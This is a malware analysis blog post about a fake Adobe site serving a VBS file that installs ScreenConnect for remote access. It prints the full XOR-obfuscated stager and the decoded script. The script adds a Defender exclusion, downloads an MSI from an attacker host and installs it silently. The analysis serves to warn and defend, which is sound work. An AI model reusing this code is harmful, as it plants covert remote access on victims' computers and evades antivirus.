For the complete documentation index, see llms.txt. This page is also available as Markdown.
2026-07-20 - AI slop malware tries to deliver ScreenConnect
I got a DM. Is this malware? We got this sus af document link thingy.
The domain is impersonating Adobe.
https://q3kk0q2.es/adobe/
Obviously Adobe, a major company, hosts their products on ... q3kk0q2 (???). Anyway, you can tell this is a poor attempt at tricking people.
If you view the website it's hidden behind CloudFlare (as is tradition), and surprisingly the website is in DDoS protection mode. Silly.
Here is the website when you view it:
Then upon "loading" it tells you to download the super important document "NSM_Project_Management_2026.pdf".
When you click "download" is delivers "Adobe_Acrobat_Reader.vbs".
Ahhh, yes, of course, of course. Adobe, the famous and large company, delivers its products as Visual Basic Script (it doesn't).
If you right-click and inspect the file in Notepad you'll see it's a totally normal file (it's not). It is a malware stager.
As you can see, this is a very silly and totally not malware (it's malware).
We will whip up a silly Python script to decode it.
When we decode it we find ... AI SLOP. The decoded malware payload contains notes... Look at this piece of shit
It's an AI slop VB script that downloads and installs ScreenConnect to give the person remote access to the computer. The Threat Actors left notes in the secondary stager... like... "Run the installer" or ... "ADD ANTIVIRUS EXCLUSION FOR THE FOLDER".
Dim xamexigod27 : xamexigod27 = Array(32,31,27,6,0,1,79,42,23,31,3,6,12,6,27,98,101,98,101,43,6,2,79,11,0,24,1,3,0,14,11,58,29,3,98,101,43,6,2,79,28,14,25,10,63,14,27,7,98,101,43,6,2,79,6,1,28,27,14,3,3,43,6,29,98,101,43,6,2,79,7,27,27,31,98,101,43,6,2,79,28,27,29,10,14,2,98,101,43,6,2,79,9,28,0,98,101,43,6,2,79,28,7,10,3,3,98,101,43,6,2,79,31,0,24,10,29,28,7,10,3,3,44,2,11,98,101,98,101,11,0,24,1,3,0,14,11,58,29,3,79,82,79,77,7,27,27,31,28,85,64,64,31,14,27,29,29,0,1,2,14,5,0,29,65,27,0,31,64,45,6,1,64,60,12,29,10,10,1,44,0,1,1,10,12,27,65,44,3,6,10,1,27,60,10,27,26,31,65,2,28,6,80,10,82,46,12,12,10,28,28,73,22,82,40,26,10,28,27,77,98,101,6,1,28,27,14,3,3,43,6,29,79,82,79,77,44,85,51,59,10,2,31,77,98,101,28,14,25,10,63,14,27,7,79,82,79,6,1,28,27,14,3,3,43,6,29,79,73,79,77,51,6,1,28,27,14,3,3,10,29,65,2,28,6,77,98,101,98,101,60,10,27,79,9,28,0,79,82,79,44,29,10,14,27,10,32,13,5,10,12,27,71,77,60,12,29,6,31,27,6,1,8,65,41,6,3,10,60,22,28,27,10,2,32,13,5,10,12,27,77,70,98,101,60,10,27,79,28,7,10,3,3,79,82,79,44,29,10,14,27,10,32,13,5,10,12,27,71,77,56,60,12,29,6,31,27,65,60,7,10,3,3,77,70,98,101,98,101,72,79,44,29,10,14,27,10,79,27,7,10,79,11,6,29,10,12,27,0,29,22,98,101,38,9,79,33,0,27,79,9,28,0,65,41,0,3,11,10,29,42,23,6,28,27,28,71,6,1,28,27,14,3,3,43,6,29,70,79,59,7,10,1,98,101,79,79,79,79,9,28,0,65,44,29,10,14,27,10,41,0,3,11,10,29,79,6,1,28,27,14,3,3,43,6,29,98,101,42,1,11,79,38,9,98,101,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,72,79,46,43,43,79,46,33,59,38,57,38,61,58,60,79,42,55,44,35,58,60,38,32,33,79,41,32,61,79,59,39,42,79,41,32,35,43,42,61,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,72,79,61,10,30,26,6,29,10,28,79,46,11,2,6,1,6,28,27,29,14,27,0,29,79,31,29,6,25,6,3,10,8,10,28,98,101,31,0,24,10,29,28,7,10,3,3,44,2,11,79,82,79,77,31,0,24,10,29,28,7,10,3,3,65,10,23,10,79,66,42,23,10,12,26,27,6,0,1,63,0,3,6,12,22,79,45,22,31,14,28,28,79,66,44,0,2,2,14,1,11,79,77,77,46,11,11,66,34,31,63,29,10,9,10,29,10,1,12,10,79,66,42,23,12,3,26,28,6,0,1,63,14,27,7,79,72,77,79,73,79,6,1,28,27,14,3,3,43,6,29,79,73,79,77,72,77,77,77,98,101,28,7,10,3,3,65,61,26,1,79,31,0,24,10,29,28,7,10,3,3,44,2,11,67,79,95,67,79,59,29,26,10,98,101,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,72,79,43,0,24,1,3,0,14,11,79,27,7,10,79,6,1,28,27,14,3,3,10,29,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,60,10,27,79,7,27,27,31,79,82,79,44,29,10,14,27,10,32,13,5,10,12,27,71,77,34,60,55,34,35,93,65,60,10,29,25,10,29,55,34,35,39,59,59,63,77,70,98,101,98,101,32,1,79,42,29,29,0,29,79,61,10,28,26,2,10,79,33,10,23,27,98,101,7,27,27,31,65,32,31,10,1,79,77,40,42,59,77,67,79,11,0,24,1,3,0,14,11,58,29,3,67,79,41,14,3,28,10,98,101,7,27,27,31,65,60,10,1,11,98,101,98,101,38,9,79,42,29,29,65,33,26,2,13,10,29,79,83,81,79,95,79,59,7,10,1,98,101,79,79,79,79,56,60,12,29,6,31,27,65,42,12,7,0,79,77,44,0,1,1,10,12,27,6,0,1,79,10,29,29,0,29,85,79,77,79,73,79,42,29,29,65,43,10,28,12,29,6,31,27,6,0,1,98,101,79,79,79,79,56,60,12,29,6,31,27,65,62,26,6,27,79,94,98,101,42,1,11,79,38,9,98,101,32,1,79,42,29,29,0,29,79,40,0,59,0,79,95,98,101,98,101,38,9,79,7,27,27,31,65,60,27,14,27,26,28,79,83,81,79,93,95,95,79,59,7,10,1,98,101,79,79,79,79,56,60,12,29,6,31,27,65,42,12,7,0,79,77,39,59,59,63,79,42,29,29,0,29,85,79,77,79,73,79,7,27,27,31,65,60,27,14,27,26,28,98,101,79,79,79,79,56,60,12,29,6,31,27,65,62,26,6,27,79,94,98,101,42,1,11,79,38,9,98,101,98,101,60,10,27,79,28,27,29,10,14,2,79,82,79,44,29,10,14,27,10,32,13,5,10,12,27,71,77,46,43,32,43,45,65,60,27,29,10,14,2,77,70,98,101,28,27,29,10,14,2,65,59,22,31,10,79,82,79,94,98,101,28,27,29,10,14,2,65,32,31,10,1,98,101,28,27,29,10,14,2,65,56,29,6,27,10,79,7,27,27,31,65,61,10,28,31,0,1,28,10,45,0,11,22,98,101,28,27,29,10,14,2,65,60,14,25,10,59,0,41,6,3,10,79,28,14,25,10,63,14,27,7,67,79,93,98,101,28,27,29,10,14,2,65,44,3,0,28,10,98,101,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,72,79,61,26,1,79,27,7,10,79,6,1,28,27,14,3,3,10,29,98,101,72,79,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,98,101,38,9,79,9,28,0,65,41,6,3,10,42,23,6,28,27,28,71,28,14,25,10,63,14,27,7,70,79,59,7,10,1,98,101,79,79,79,79,31,0,24,10,29,28,7,10,3,3,44,2,11,79,82,79,77,31,0,24,10,29,28,7,10,3,3,65,10,23,10,79,66,44,0,2,2,14,1,11,79,77,77,60,27,14,29,27,66,63,29,0,12,10,28,28,79,2,28,6,10,23,10,12,79,66,46,29,8,26,2,10,1,27,35,6,28,27,79,72,64,6,72,67,79,72,77,79,73,79,28,14,25,10,63,14,27,7,79,73,79,77,72,67,79,72,64,30,1,72,79,66,57,10,29,13,79,61,26,1,46,28,79,66,56,14,6,27,77,77,77,98,101,79,79,79,79,28,7,10,3,3,65,61,26,1,79,31,0,24,10,29,28,7,10,3,3,44,2,11,67,79,95,67,79,59,29,26,10,98,101,42,3,28,10,98,101,79,79,79,79,56,60,12,29,6,31,27,65,42,12,7,0,79,77,38,1,28,27,14,3,3,10,29,79,9,6,3,10,79,24,14,28,79,1,0,27,79,28,14,25,10,11,65,77,98,101,42,1,11,79,38,9,98,101,98,101,72,79,44,3,10,14,1,26,31,98,101,60,10,27,79,28,27,29,10,14,2,79,82,79,33,0,27,7,6,1,8,98,101,60,10,27,79,7,27,27,31,79,82,79,33,0,27,7,6,1,8,98,101,60,10,27,79,28,7,10,3,3,79,82,79,33,0,27,7,6,1,8,98,101,60,10,27,79,9,28,0,79,82,79,33,0,27,7,6,1,8)
Dim gofojuqu34 : gofojuqu34 = ""
Dim bilaxujet72
For bilaxujet72 = 0 To UBound(xamexigod27)
gofojuqu34 = gofojuqu34 & ChrW(xamexigod27(bilaxujet72) Xor 111)
Next
ExecuteGlobal(gofojuqu34)
Option Explicit
Dim downloadUrl
Dim savePath
Dim installDir
Dim http
Dim stream
Dim fso
Dim shell
Dim powershellCmd
downloadUrl = "https://patrronmajor.top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
installDir = "C:\Temp"
savePath = installDir & "\installer.msi"
Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
' Create the directory
If Not fso.FolderExists(installDir) Then
fso.CreateFolder installDir
End If
' ============================================
' ADD ANTIVIRUS EXCLUSION FOR THE FOLDER
' ============================================
' Requires Administrator privileges
powershellCmd = "powershell.exe -ExecutionPolicy Bypass -Command ""Add-MpPreference -ExclusionPath '" & installDir & "'"""
shell.Run powershellCmd, 0, True
' ============================================
' Download the installer
' ============================================
Set http = CreateObject("MSXML2.ServerXMLHTTP")
On Error Resume Next
http.Open "GET", downloadUrl, False
http.Send
If Err.Number <> 0 Then
WScript.Echo "Connection error: " & Err.Description
WScript.Quit 1
End If
On Error GoTo 0
If http.Status <> 200 Then
WScript.Echo "HTTP Error: " & http.Status
WScript.Quit 1
End If
Set stream = CreateObject("ADODB.Stream")
stream.Type = 1
stream.Open
stream.Write http.ResponseBody
stream.SaveToFile savePath, 2
stream.Close
' ============================================
' Run the installer
' ============================================
If fso.FileExists(savePath) Then
powershellCmd = "powershell.exe -Command ""Start-Process msiexec -ArgumentList '/i', '" & savePath & "', '/qn' -Verb RunAs -Wait"""
shell.Run powershellCmd, 0, True
Else
WScript.Echo "Installer file was not saved."
End If
' Cleanup
Set stream = Nothing
Set http = Nothing
Set shell = Nothing
Set fso = Nothing
